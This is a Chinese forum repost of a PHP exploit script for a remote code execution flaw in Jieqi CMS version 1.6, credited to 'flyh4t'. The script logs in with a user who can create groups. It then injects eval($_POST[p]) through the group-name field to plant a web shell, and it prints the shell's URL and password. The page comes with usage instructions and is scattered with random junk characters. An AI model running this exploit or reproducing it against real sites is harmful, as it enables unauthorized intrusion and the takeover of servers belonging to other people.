杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。
9 Y- @, R2 \" b" |/ v5 `; X; p
5 R5 ~" F! ?+ n8 a( c, G8 L2 f * Q0 c0 L. D# ^& P, b
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。
* g; @& J& y1 S" ] 需要有一个能创建圈子的用户。
$ @, y8 ^, M, E8 z" V ! C2 w% ]8 N1 J5 o
<?php e! m" h) i" ?9 E! B7 { P
& G J6 V4 }- ^) ~! y" \9 K+ G0 Vprint_r('
. L" \" M9 [9 s' m; A+---------------------------------------------------------------------------+4 k7 [- J# Q! h. ^( w- v
Jieqi CMS V1.6 PHP Code Injection Exploit
0 e B( g+ _ \: ^6 m% M' Tby flyh4t
) f& g/ r& S, n; F3 D" S7 email: phpsec at hotmail dot com0 l! h. b$ n9 ?3 ]9 G4 a6 ^9 k
team: http://www.wolvez.org5 S4 y3 S$ a9 f* w1 ]' @
+---------------------------------------------------------------------------+
& M: n1 I6 P# E- h) x'); /**
4 T; n) {9 G9 J4 D * works regardless of php.ini settings
& ?! U% r; F5 ~- I% s3 [' m*/ if ($argc < 5) { print_r('
) k* c* k6 H, g! F/ r- A+ S+---------------------------------------------------------------------------+$ S! i6 w7 l: \5 g. [
Usage: php '.$argv[0].' host path username
% A3 K! T) ?$ E* E4 n; ehost: target server (ip/hostname) a2 i* z: k/ ^
path: path to jieqicms " n2 l/ ^% E* U B
uasename: a username who can create group
- K0 W% \, ]6 ?: W; D2 }0 ^: S/ u$ zExample:
6 \1 f( E% U+ n8 m K, bphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
4 ?2 H8 c$ @9 n- z) }4 Q+---------------------------------------------------------------------------+: g# ]; G o* Y7 B9 f g6 e, h# H& R
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961$ Z6 w! a. Z. N! P: a7 v* b
Content-Disposition: form-data; name="gname"5 g: l# |4 P+ V3 G. F- i3 `& Z, C
6 A+ O+ K/ y& o
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t: I; N, M3 d9 }1 C+ y+ q
-----------------------------23281168279961
# B% H/ _ V: g3 z8 ~# I! J0 W( OContent-Disposition: form-data; name="gcatid"
: P* W& N! e! _: | ; z! K) N2 p# a' i4 r! D1 z
1
1 h2 D6 v, v. F) Z5 S. z; A-----------------------------23281168279961
" J, g+ h* _( P' h# x7 hContent-Disposition: form-data; name="gaudit"
/ s' m$ ^, j0 L 7 e {1 |8 Y" e0 U. ?( C& i
1( n( u6 l h3 m' G& b) p* j- R
-----------------------------23281168279961
! r3 \* K+ C5 e* t2 h. g; z4 AContent-Disposition: form-data; name="gbrief"1 w8 { L- U( l4 ~" q
- |' R$ U; {4 V/ T+ Y
17 N: L$ w% z: S8 v$ O
-----------------------------23281168279961--; Y' {7 N# _' Y. `- o
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com1 k# E/ |) M. A5 Z* o" P
% f$ a, x9 S* c/ b! M& d, I
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url; |